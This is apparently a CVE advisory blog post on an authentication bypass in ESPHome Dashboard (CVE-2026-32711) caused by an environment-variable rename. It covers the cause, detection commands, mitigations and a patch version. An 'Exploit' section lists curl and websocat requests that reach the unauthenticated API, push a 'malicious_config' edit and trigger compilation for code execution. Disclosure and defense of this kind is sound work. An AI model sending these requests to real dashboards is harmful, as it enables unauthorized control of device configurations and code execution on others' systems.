Listen to this Post
ESPHome Dashboard contains an authentication bypass vulnerability (CVE-2026-32711) stemming from a backward compatibility break introduced during an environment variable rename. The dashboard resolves authentication credentials in DashboardSettings.parse_args, originally reading `os.getenv(“USERNAME”)` and os.getenv("PASSWORD"). A rename (PR 265) replaced these with `ESPHOME_USERNAME` and `ESPHOME_PASSWORD` while intentionally removing the bare names because `$USERNAME` collides with the OS login user on Linux and Windows, silently promoting the shell user to the dashboard username【1†L8-L12】. The rename closed that footgun but introduced a critical regression: deployments that set only the bare $USERNAME/$PASSWORD names now resolve to no credentials, `using_password` becomes false, and both the REST auth middleware and WebSocket login gate are disabled【1†L13-L15】. The process logs a “WITHOUT AUTHENTICATION” banner at startup, but a container started detached via `docker run -d` never surfaces it, making the exposure silent in practice. This affects the `dashboard` subcommand of the `ghcr.io/esphome/esphome` container, which pins `esphome-device-builder` and execs it, inheriting whatever environment the operator passed. The standalone Docker path runs without --ha-addon, making it the affected path. Home Assistant add-on installs are not affected because they pass `–ha-addon` and authenticate through the supervisor ingress proxy【1†L15-L18】. An unauthenticated network client crossing this boundary gains host-equivalent capability, including arbitrary code execution at compile time and read/write access to config and data directories.
DailyCVE Form
Platform: ESPHome Dashboard
Version: esphome-device-builder <1.0.12
Vulnerability: Auth Bypass
Severity: Critical
date: 2026.6.0
Prediction: 2026.6.2
What Undercode Say:
Detect vulnerable deployment:
Check if running affected esphome-device-builder version docker exec <container_id> pip show esphome-device-builder Check environment variables in running container docker inspect <container_id> | grep -E "USERNAME|PASSWORD" Check startup logs for WITHOUT AUTHENTICATION banner docker logs <container_id> 2>&1 | grep -i "WITHOUT AUTHENTICATION"
Apply workaround on affected version:
Stop the container docker stop <container_id> Restart with new environment variable names docker run -d \ -e ESPHOME_USERNAME=<your-username> \ -e ESPHOME_PASSWORD=<your-password> \ -p 6052:6052 \ ghcr.io/esphome/esphome dashboard /config Verify authentication is now enforced curl -v http://localhost:6052/
Exploit: (Educational Purposes!)
Unauthenticated access to dashboard REST API
curl -X GET http://<target>:6052/devices
Modify device configuration without credentials
curl -X POST http://<target>:6052/edit \
-H "Content-Type: application/json" \
-d '{"file":"config.yaml","content":"malicious_config"}'
Trigger firmware compilation (arbitrary code execution)
curl -X POST http://<target>:6052/compile \
-H "Content-Type: application/json" \
-d '{"file":"config.yaml"}'
Access WebSocket endpoint without login
websocat ws://<target>:6052/ws
Protection:
Immediate mitigation: set new environment variables export ESPHOME_USERNAME=<your-username> export ESPHOME_PASSWORD=<your-password> For Docker deployments docker run -d \ -e ESPHOME_USERNAME=<your-username> \ -e ESPHOME_PASSWORD=<your-password> \ ghcr.io/esphome/esphome dashboard /config Upgrade to patched version docker pull ghcr.io/esphome/esphome:2026.6.2 Network-level protection iptables -A INPUT -p tcp --dport 6052 -s <trusted_network> -j ACCEPT iptables -A INPUT -p tcp --dport 6052 -j DROP
Impact:
An unauthenticated attacker with network access to the dashboard port can fully manage ESPHome devices, including editing configurations and flashing firmware. ESPHome’s threat model documents that an authenticated dashboard caller can run arbitrary code at compile time and read or write files in the config and data directories, resulting in High confidentiality, integrity, and availability impact. The vulnerability requires no credentials, no user interaction, and has low attack complexity. Only deployments relying on bare $USERNAME/$PASSWORD environment variables are affected; those using --username/--password, the new `$ESPHOME_` variables, or HA add-on ingress are not vulnerable.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
